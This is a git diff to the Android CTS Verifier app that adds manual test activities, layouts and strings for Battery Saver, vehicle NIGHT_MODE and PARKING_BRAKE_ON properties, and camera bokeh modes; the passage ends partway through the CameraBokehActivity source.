diff --git a/apps/CtsVerifier/res/layout/night_mode_test.xml b/apps/CtsVerifier/res/layout/night_mode_test.xml
new file mode 100644
index 0000000..cdba032
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/night_mode_test.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+          http://www.apache.org/licenses/LICENSE-2.0
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <TextView
+          android:id="@+id/night_mode_instruction"
+          android:layout_width="match_parent"
+          android:layout_height="0dp"
+          android:layout_weight="1"
+          android:gravity="center"
+          android:textSize="50dip" />
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="2"
+        android:orientation="horizontal">
+    <TextView
+          android:id="@+id/current_night_mode_value_title"
+          android:layout_width="0dp"
+          android:layout_weight="2"
+          android:layout_height="match_parent"
+          android:gravity="center"
+          android:text="@string/current_night_mode_value_title"
+          android:textSize="50dip" />
+    <TextView
+          android:id="@+id/current_night_mode_value"
+          android:layout_width="0dp"
+          android:layout_weight="1"
+          android:layout_height="match_parent"
+          android:gravity="center"
+          android:textSize="50dip" />
+    </LinearLayout>
+    <include layout="@layout/pass_fail_buttons" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/ordered_test.xml b/apps/CtsVerifier/res/layout/ordered_test.xml
new file mode 100644
index 0000000..1c0b029
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/ordered_test.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+    <TextView
+        android:id="@+id/txt_instruction"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        style="@style/InstructionsSmallFont"
+        android:layout_alignParentTop="true" />
+
+    <Button
+        android:id="@+id/btn_next"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/next_button_text"
+        android:layout_below="@id/txt_instruction" />
+
+    <include android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_alignParentBottom="true"
+            layout="@layout/pass_fail_buttons" />
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/parking_brake_on_test.xml b/apps/CtsVerifier/res/layout/parking_brake_on_test.xml
new file mode 100644
index 0000000..23faaab
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/parking_brake_on_test.xml
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+    <TextView
+          android:id="@+id/instruction"
+          android:layout_width="match_parent"
+          android:layout_height="0dp"
+          android:layout_weight="1"
+          android:gravity="center"
+          android:textSize="50dip" />
+
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="2"
+        android:orientation="horizontal">
+
+    <TextView
+          android:id="@+id/current_parking_brake_on_value_title"
+          android:layout_width="0dp"
+          android:layout_weight="2"
+          android:layout_height="match_parent"
+          android:gravity="center"
+          android:text="@string/current_parking_brake_on_value_title"
+          android:textSize="50dip" />
+
+    <TextView
+          android:id="@+id/current_parking_brake_on_value"
+          android:layout_width="0dp"
+          android:layout_weight="1"
+          android:layout_height="match_parent"
+          android:gravity="center"
+          android:textSize="50dip" />
+
+    </LinearLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/screen_pinning.xml b/apps/CtsVerifier/res/layout/screen_pinning.xml
deleted file mode 100644
index f1d7b65..0000000
--- a/apps/CtsVerifier/res/layout/screen_pinning.xml
+++ /dev/null
@@ -1,62 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2014 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent" >
-
-    <TextView
-        android:id="@+id/error_text"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content" />
-
-    <ScrollView
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_alignParentTop="true" >
-
-        <RelativeLayout
-            android:id="@+id/instructions_group"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="vertical" >
-
-            <LinearLayout
-                android:id="@+id/instructions_list"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:orientation="vertical" >
-
-            </LinearLayout>
-
-            <Button
-                android:id="@+id/next_button"
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:layout_alignParentEnd="true"
-                android:layout_below="@id/instructions_list"
-                android:text="@string/next_button_text" />
-
-        </RelativeLayout>
-    </ScrollView>
-
-    <include
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:layout_alignParentBottom="true"
-        layout="@layout/pass_fail_buttons" />
-
-</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index e3b8538..f4d9490 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -23,6 +23,7 @@
     <string name="fail_button_text">Fail</string>
     <string name="next_button_text">Next</string>
     <string name="go_button_text">Go</string>
+    <string name="tests_completed_successfully">All tests completed successfully.</string>
 
     <string name="retry_button_text">Retry</string>
     <string name="finish_button_text">Finish</string>
@@ -76,6 +77,35 @@
     <string name="bu_generate_error">Error occurred while generating test data...</string>
     <string name="bu_settings">Settings</string>
 
+    <!-- Strings for BatterySaverTestActivity -->
+    <string name="battery_saver_test">Battery Saver Test</string>
+    <string name="battery_saver_test_info">
+        This test verifies that the device provides a user affordance to enable and disable
+        Battery Saver feature.
+    </string>
+    <string name="battery_saver_test_no_battery_detected">
+        No battery detected. This test will only work on devices that contain a battery.
+    </string>
+    <string name="battery_saver_test_unplug">
+        Unplug the device or run \"adb shell dumpsys battery unplug\".
+    </string>
+    <string name="battery_saver_test_device_plugged_in">
+        The device is still plugged in.
+    </string>
+    <string name="battery_saver_test_enable_bs">
+        Look for a button that allows you to turn Battery Saver on and off. The button may be in the
+        Quick Settings section or on the Battery page of device settings. Use the button to turn
+        Battery Saver on.
+    </string>
+    <string name="battery_saver_test_disable_bs">
+        Now use the button to turn Battery Saver off.
+    </string>
+    <string name="battery_saver_test_start_turn_bs_off">
+        Turn Battery Saver off to begin the test.
+    </string>
+    <string name="battery_saver_test_bs_on">Battery Saver is on.</string>
+    <string name="battery_saver_test_bs_off">Battery Saver is off.</string>
+
     <!-- Strings for Device Administration tests -->
     <string name="da_policy_serialization_test">Policy Serialization Test</string>
     <string name="da_policy_serialization_info">This test checks that a device policy is properly
@@ -104,6 +134,25 @@
         framework correctly tries to open the CAR_DOCK app again.</string>
     <string name="car_mode_enable">Enable Car Mode</string>
     <string name="car_dock_activity_text">Press the Home button</string>
+    <string name="gear_selection_test">Gear Selection Test</string>
+    <string name="gear_selection_test_desc">This test ensures that the
+      GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s
+      gear to the expected gear value. If it is able to shift to all the
+      implemented gears then the pass button will be enabled.</string>
+    <string name="expected_gear_selection_title">Expected Gear Selection</string>
+    <string name="current_gear_selection_title">Current Gear Selection</string>
+    <string name="night_mode_test">NIGHT_MODE Test</string>
+    <string name="night_mode_test_desc">This test ensures that the NIGHT_MODE vehicle property is
+      implemented correctly.\n\nFollow the instructions on the screen to engage and disengage
+      NIGHT_MODE through the vehicle HAL. When the instructions are completed, the pass button
+      will be enabled.</string>
+    <string name="current_night_mode_value_title">Current NIGHT_MODE Value:</string>
+    <string name="parking_brake_on_test">PARKING_BRAKE_ON Test</string>
+    <string name="parking_brake_on_test_desc">This test ensures that the
+      PARKING_BRAKE_ON property is implemented correctly.\n\nFollow the
+      instructions on the screen to engage and disengage the parking brake. When
+      the instructions are completed, the pass button will be enabled.</string>
+    <string name="current_parking_brake_on_value_title">Current PARKING_BRAKE_ON Value:</string>
     <string name="da_no_policy">1. Press the \"Generate Policy\" to create a random device
         policy\n\n2. Press \"Apply Policy\" to put the policy into effect.\n\n3. Reboot your
         device and return to this test in the CTS Verifier.
@@ -1343,7 +1392,6 @@
     </string>
     <string name="cf_preview_label">Normal preview</string>
     <string name="cf_format_label">Processed callback data</string>
-    <string name="cf_next_button">Next</string>
 
     <!-- Strings for Camera Video -->
     <string name="record_button_text">Test</string>
@@ -1501,6 +1549,19 @@
     <string name="sv_failed_title">Test Failed</string>
     <string name="sv_failed_message">Unable to play stream.  See log for details.</string>
 
+    <!-- Strings for the Camera Bokeh mode test activity -->
+    <string name="camera_bokeh_test">Camera Bokeh</string>
+    <string name="camera_bokeh_test_info">
+        This test checks camera bokeh mode functionality. It enumerates supported bokeh modes, and
+        makes sure each non-OFF bokeh mode works correctly. For optimal and consistent results,
+        please make sure the camera device is pointing to a well-lit scene with a human face in
+        the center at least 1 meter away, and the rest of the scene is further away in the
+        background.
+    </string>
+    <string name="camera_bokeh_no_support">
+        None of the camera devices support bokeh modes. Please click the Test Passed button.
+    </string>
+
     <!-- Strings for TestListActivity -->
     <string name="wifi_test">Wi-Fi Test</string>
     <string name="wifi_test_info">
@@ -1743,8 +1804,10 @@
 
     <string name="aware_dp_ib_open_unsolicited">Data Path: Open: Unsolicited/Passive</string>
     <string name="aware_dp_ib_passphrase_unsolicited">Data Path: Passphrase: Unsolicited/Passive</string>
+    <string name="aware_dp_ib_pmk_unsolicited">Data Path: PMK: Unsolicited/Passive</string>
     <string name="aware_dp_ib_open_solicited">Data Path: Open: Solicited/Active</string>
     <string name="aware_dp_ib_passphrase_solicited">Data Path: Passphrase: Solicited/Active</string>
+    <string name="aware_dp_ib_pmk_solicited">Data Path: PMK: Solicited/Active</string>
     <string name="aware_discovery_ranging">Discovery with Ranging</string>
     <string name="aware_publish">Publish</string>
     <string name="aware_subscribe">Subscribe</string>
@@ -1807,6 +1870,10 @@
     <string name="aware_data_path_passphrase_unsolicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Passphrase: Unsolicited/Passive\' / \'Subscribe\' test.</string>
     <string name="aware_data_path_passphrase_passive_subscribe">Data Path: Passphrase: Passive Subscribe</string>
 
+    <string name="aware_data_path_pmk_unsolicited_publish">Data Path: PMK: Unsolicited Publish</string>
+    <string name="aware_data_path_pmk_unsolicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: PMK: Unsolicited/Passive\' / \'Subscribe\' test.</string>
+    <string name="aware_data_path_pmk_passive_subscribe">Data Path: PMK: Passive Subscribe</string>
+
     <string name="aware_data_path_open_solicited_publish">Data Path: Open: Solicited Publish</string>
     <string name="aware_data_path_open_solicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Open: Solicited/Active\' / \'Subscribe\' test.</string>
     <string name="aware_data_path_open_active_subscribe">Data Path: Open: Active Subscribe</string>
@@ -1815,6 +1882,10 @@
     <string name="aware_data_path_passphrase_solicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: Passphrase: Solicited/Active\' / \'Subscribe\' test.</string>
     <string name="aware_data_path_passphrase_active_subscribe">Data Path: Passphrase: Active Subscribe</string>
 
+    <string name="aware_data_path_pmk_solicited_publish">Data Path: PMK: Solicited Publish</string>
+    <string name="aware_data_path_pmk_solicited_publish_info">The publisher is now ready.\n\nOn the other device: start the \'Data Path: PMK: Solicited/Active\' / \'Subscribe\' test.</string>
+    <string name="aware_data_path_pmk_active_subscribe">Data Path: PMK: Active Subscribe</string>
+
     <string name="aware_data_path_oob_open_responder">Data Path (OOB): Open: Responder</string>
     <string name="aware_data_path_oob_open_responder_info">The responder is now ready.\n\nOn the other device: start the \'Data Path (OOB): Open\' / \'Initiator\' test.</string>
     <string name="aware_data_path_oob_open_initiator">Data Path (OOB): Open: Initiator</string>
@@ -2027,9 +2098,17 @@
     <string name="cp_service_started">Service should start once enabled.</string>
     <string name="cp_service_stopped">Service should stop once disabled.</string>
     <string name="cp_unsubscribe_rule">Unsubscribing to Automatic Zen Rule</string>
-    <string name="cp_delete_rule">Deleting Automatic Zen Rule</string>
+    <string name="cp_delete_rule">Deleting Automatic Zen Rule via api</string>
     <string name="cp_get_rules">Retrieving Automatic Zen Rules</string>
     <string name="cp_get_rule">Retrieving Automatic Zen Rule</string>
+    <string name="cp_show_rules">Click this button to launch the Automatic Zen Rule listing page in settings, and then return to this screen</string>
+    <string name="cp_show_rules_verification">Was the automatic rule screen shown?</string>
+    <string name="cp_disable_rule">Please disable rule "123" and return here.</string>
+    <string name="cp_enable_rule">Please enable rule "123" and return here.</string>
+    <string name="cp_delete_rule_broadcast">Please delete rule "123" and return here.</string>
+    <string name="cp_rule_type">CTS rule</string>
+    <string name="iva_pass">Pass</string>
+    <string name="iva_fail">Fail</string>
 
     <string name="cacert_test">CA Cert Notification Test</string>
     <string name="cacert_info">This test checks that when a CA Certificate is installed, the user is notified.</string>
@@ -4378,7 +4457,6 @@
     <string name="screen_pin_check_pinned">Press Next to verify the app is pinned.</string>
     <string name="screen_pin_no_exit">Try to leave the app without unpinning the screen. Press next once you have verified you cannot leave.</string>
     <string name="screen_pin_exit">Use interactions defined by your device to unpin such as long pressing the back and overview button, then press next.</string>
-    <string name="screen_pinning_done">All tests completed successfully.</string>
 
     <string name="error_screen_no_longer_pinned">The screen was no longer pinned.</string>
     <string name="error_screen_already_pinned">Cannot start the test with the screen already pinned.</string>
@@ -5139,10 +5217,15 @@
     <string name="bubbles_notification_test_verify_9">Click the button below and verify that a bubble
         appears on screen, auto-expanded.</string>
     <string name="bubbles_notification_test_button_9">Send auto-expanded bubble notification</string>
-    <string name="bubbles_notification_no_bubbles_low_mem">No bubbles on low memory device; no tests to run</string>
+    <string name="bubbles_notification_test_title_10">No bubbles on low memory device</string>
+    <string name="bubbles_notification_test_verify_10">Click the button below and verify that a
+        bubble does NOT appear on screen. Verify that there is a notification in the notification
+        shade.</string>
+    <string name="bubbles_notification_test_button_10">Add bubble</string>
     <string name="bubbles_test_summary_title">Test Complete</string>
     <string name="bubbles_test_summary">%1$d out of %2$d tests passed</string>
     <string name="bubble_activity_title">Bubble Activity</string>
+
     <!-- Strings for Instant Apps -->
     <string name="ia_instruction_heading_label">Instructions:</string>
     <string name="ia_instruction_text_photo_label">READ BEFORE STARTING TEST</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
new file mode 100644
index 0000000..d24fdb7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier;
+
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+import android.widget.TextView;
+import android.widget.Toast;
+
+/**
+ * {@link PassFailButtons.Activity} that supports showing a series of tests in order.
+ */
+public abstract class OrderedTestActivity extends PassFailButtons.Activity {
+    private static final String KEY_CURRENT_TEST = "current_test";
+
+    private Test[] mTests;
+    private int mTestIndex;
+
+    private Button mNextButton;
+    private TextView mInstructions;
+
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ordered_test);
+        setPassFailButtonClickListeners();
+
+        mTests = getTests();
+
+        mInstructions = findViewById(R.id.txt_instruction);
+
+        mNextButton = findViewById(R.id.btn_next);
+        mNextButton.setOnClickListener(v -> {
+            if ((mTestIndex >= 0) && (mTestIndex < mTests.length)) {
+                mTests[mTestIndex].onNextClick();
+            }
+        });
+
+        // Don't allow pass until all tests complete.
+        findViewById(R.id.pass_button).setVisibility(View.GONE);
+
+        // Figure out if we are in a test or starting from the beginning.
+        if (savedInstanceState != null && savedInstanceState.containsKey(KEY_CURRENT_TEST)) {
+            mTestIndex = savedInstanceState.getInt(KEY_CURRENT_TEST);
+        } else {
+            mTestIndex = 0;
+        }
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+
+        mTests[mTestIndex].run();
+    }
+
+    /** Returns a list of tests to run in order. */
+    protected abstract Test[] getTests();
+
+    @Override
+    protected void onSaveInstanceState(Bundle outState) {
+        super.onSaveInstanceState(outState);
+
+        outState.putInt(KEY_CURRENT_TEST, mTestIndex);
+    }
+
+    protected void succeed() {
+        runOnUiThread(() -> {
+            mTestIndex++;
+            if (mTestIndex < mTests.length) {
+                mTests[mTestIndex].run();
+            } else {
+                // On test completion, hide "next" and "fail" buttons, and show "pass" button
+                // instead.
+                mInstructions.setText(R.string.tests_completed_successfully);
+                mNextButton.setVisibility(View.GONE);
+                findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
+                findViewById(R.id.fail_button).setVisibility(View.GONE);
+            }
+        });
+    }
+
+    protected void error(int stringResId) {
+        Toast.makeText(this, stringResId, Toast.LENGTH_SHORT).show();
+    }
+
+    protected abstract class Test {
+        private final int mStringId;
+
+        public Test(int stringResId) {
+            mStringId = stringResId;
+        }
+
+        protected void run() {
+            showText();
+        }
+
+        protected void showText() {
+            if (mStringId == 0) {
+                return;
+            }
+            mInstructions.setText(mStringId);
+        }
+
+        protected void onNextClick() {
+        }
+    }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/BatterySaverTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/battery/BatterySaverTestActivity.java
new file mode 100644
index 0000000..f0dc540
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/BatterySaverTestActivity.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.battery;
+
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.BatteryManager;
+import android.os.Bundle;
+import android.os.PowerManager;
+import android.view.View;
+
+import com.android.cts.verifier.OrderedTestActivity;
+import com.android.cts.verifier.R;
+
+public class BatterySaverTestActivity extends OrderedTestActivity {
+    private PowerManager mPowerManager;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setInfoResources(R.string.battery_saver_test, R.string.battery_saver_test_info, -1);
+
+        mPowerManager = getSystemService(PowerManager.class);
+    }
+
+    @Override
+    protected OrderedTestActivity.Test[] getTests() {
+        return new Test[]{
+                // Confirm a battery exists before proceeding with the rest of the tests,
+                mConfirmBatteryExists,
+                // Verify device is unplugged.
+                mConfirmUnplugged,
+                // Verify battery saver is off.
+                mConfirmBsOff,
+                mEnableBs,
+                mDisableBs
+        };
+    }
+
+    private final Test mConfirmBatteryExists = new Test(
+            R.string.battery_saver_test_no_battery_detected) {
+        @Override
+        protected void run() {
+            super.run();
+
+            final Intent batteryInfo = registerReceiver(null, new
+                    IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+
+            if (batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true)) {
+                succeed();
+            } else {
+                findViewById(R.id.btn_next).setVisibility(View.GONE);
+                // Set both pass and fail to visible in case the device is meant to have a battery.
+                findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
+                findViewById(R.id.fail_button).setVisibility(View.VISIBLE);
+            }
+        }
+    };
+
+    private final Test mConfirmUnplugged = new Test(R.string.battery_saver_test_unplug) {
+        @Override
+        protected void run() {
+            super.run();
+
+            if (!isPluggedIn()) {
+                succeed();
+            }
+        }
+
+        @Override
+        protected void onNextClick() {
+            if (isPluggedIn()) {
+                error(R.string.battery_saver_test_device_plugged_in);
+            } else {
+                succeed();
+            }
+        }
+
+        private boolean isPluggedIn() {
+            Intent intent = registerReceiver(null,
+                    new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+            int plugged = intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1);
+            return plugged == BatteryManager.BATTERY_PLUGGED_AC
+                    || plugged == BatteryManager.BATTERY_PLUGGED_USB
+                    || plugged == BatteryManager.BATTERY_PLUGGED_WIRELESS;
+        }
+    };
+
+    private final Test mConfirmBsOff = new Test(R.string.battery_saver_test_start_turn_bs_off) {
+        @Override
+        protected void run() {
+            super.run();
+
+            if (!mPowerManager.isPowerSaveMode()) {
+                succeed();
+            }
+        }
+
+        @Override
+        protected void onNextClick() {
+            if (mPowerManager.isPowerSaveMode()) {
+                error(R.string.battery_saver_test_bs_on);
+            } else {
+                succeed();
+            }
+        }
+    };
+
+    private final Test mEnableBs = new Test(R.string.battery_saver_test_enable_bs) {
+        @Override
+        protected void onNextClick() {
+            if (mPowerManager.isPowerSaveMode()) {
+                succeed();
+            } else {
+                error(R.string.battery_saver_test_bs_off);
+            }
+        }
+    };
+
+    private final Test mDisableBs = new Test(R.string.battery_saver_test_disable_bs) {
+        @Override
+        protected void onNextClick() {
+            if (!mPowerManager.isPowerSaveMode()) {
+                succeed();
+            } else {
+                error(R.string.battery_saver_test_bs_on);
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
new file mode 100644
index 0000000..b62c2c1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
@@ -0,0 +1,816 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.camera.bokeh;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import com.android.ex.camera2.blocking.BlockingCameraManager;
+import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException;
+import com.android.ex.camera2.blocking.BlockingStateCallback;
+import com.android.ex.camera2.blocking.BlockingSessionCallback;
+
+import android.app.AlertDialog;
+import android.content.res.Configuration;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.ColorMatrixColorFilter;
+import android.graphics.ImageFormat;
+import android.graphics.Matrix;
+import android.graphics.RectF;
+import android.graphics.SurfaceTexture;
+import android.hardware.camera2.CameraAccessException;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraCharacteristics.Key;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraMetadata;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.params.CapabilityAndMaxSize;
+import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.camera2.TotalCaptureResult;
+import android.media.Image;
+import android.media.ImageReader;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.util.Log;
+import android.util.Size;
+import android.util.SparseArray;
+import android.view.Menu;
+import android.view.MenuItem;
+import android.view.View;
+import android.view.Surface;
+import android.view.TextureView;
+import android.widget.AdapterView;
+import android.widget.ArrayAdapter;
+import android.widget.Button;
+import android.widget.ImageButton;
+import android.widget.ImageView;
+import android.widget.Spinner;
+import android.widget.TextView;
+import android.widget.Toast;
+import android.content.Context;
+
+import java.lang.Math;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Optional;
+import java.util.Set;
+import java.util.TreeSet;
+
+/**
+ * Tests for manual verification of bokeh modes supported by the camera device.
+ */
+public class CameraBokehActivity extends PassFailButtons.Activity
+        implements TextureView.SurfaceTextureListener,
+                   ImageReader.OnImageAvailableListener {
+
+    private static final String TAG = "CameraBokehActivity";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private static final int SESSION_READY_TIMEOUT_MS = 5000;
+    private static final Size FULLHD = new Size(1920, 1080);
+    private static final ColorMatrixColorFilter sJFIF_YUVToRGB_Filter =
+            new ColorMatrixColorFilter(new float[] {
+                        1f,        0f,    1.402f, 0f, -179.456f,
+                        1f, -0.34414f, -0.71414f, 0f,   135.46f,
+                        1f,    1.772f,        0f, 0f, -226.816f,
+                        0f,        0f,        0f, 1f,        0f
+                    });
+
+    private TextureView mPreviewView;
+    private SurfaceTexture mPreviewTexture;
+    private Surface mPreviewSurface;
+    private int mPreviewTexWidth, mPreviewTexHeight;
+
+    private ImageView mImageView;
+    private ColorFilter mCurrentColorFilter;
+
+    private Spinner mCameraSpinner;
+    private TextView mTestLabel;
+    private TextView mPreviewLabel;
+    private TextView mImageLabel;
+
+    private CameraManager mCameraManager;
+    private String[] mCameraIdList;
+    private HandlerThread mCameraThread;
+    private Handler mCameraHandler;
+    private BlockingCameraManager mBlockingCameraManager;
+    private CameraCharacteristics mCameraCharacteristics;
+    private BlockingStateCallback mCameraListener;
+
+    private BlockingSessionCallback mSessionListener;
+    private CaptureRequest.Builder mPreviewRequestBuilder;
+    private CaptureRequest mPreviewRequest;
+    private CaptureRequest.Builder mStillCaptureRequestBuilder;
+    private CaptureRequest mStillCaptureRequest;
+
+    private HashMap<String, ArrayList<CapabilityAndMaxSize>> mTestCases = new HashMap<>();
+    private int mCurrentCameraIndex = -1;
+    private String mCameraId;
+    private CameraCaptureSession mCaptureSession;
+    private CameraDevice mCameraDevice;
+
+    SizeComparator mSizeComparator = new SizeComparator();
+
+    private Size mPreviewSize;
+    private Size mJpegSize;
+    private ImageReader mJpegImageReader;
+    private ImageReader mYuvImageReader;
+
+    private SparseArray<String> mModeNames;
+
+    private CameraCombination mNextCombination;
+    private Size mMaxBokehStreamingSize;
+
+    private Button mNextButton;
+
+    private final TreeSet<CameraCombination> mTestedCombinations = new TreeSet<>(COMPARATOR);
+    private final TreeSet<CameraCombination> mUntestedCombinations = new TreeSet<>(COMPARATOR);
+    private final TreeSet<String> mUntestedCameras = new TreeSet<>();
+
+    // Menu to show the test progress
+    private static final int MENU_ID_PROGRESS = Menu.FIRST + 1;
+
+    private class CameraCombination {
+        private final int mCameraIndex;
+        private final int mMode;
+        private final Size mPreviewSize;
+        private final boolean mIsStillCapture;
+        private final String mCameraId;
+        private final String mModeName;
+
+        private CameraCombination(int cameraIndex, int mode,
+                int streamingWidth, int streamingHeight,
+                String cameraId, String modeName,
+                boolean isStillCapture) {
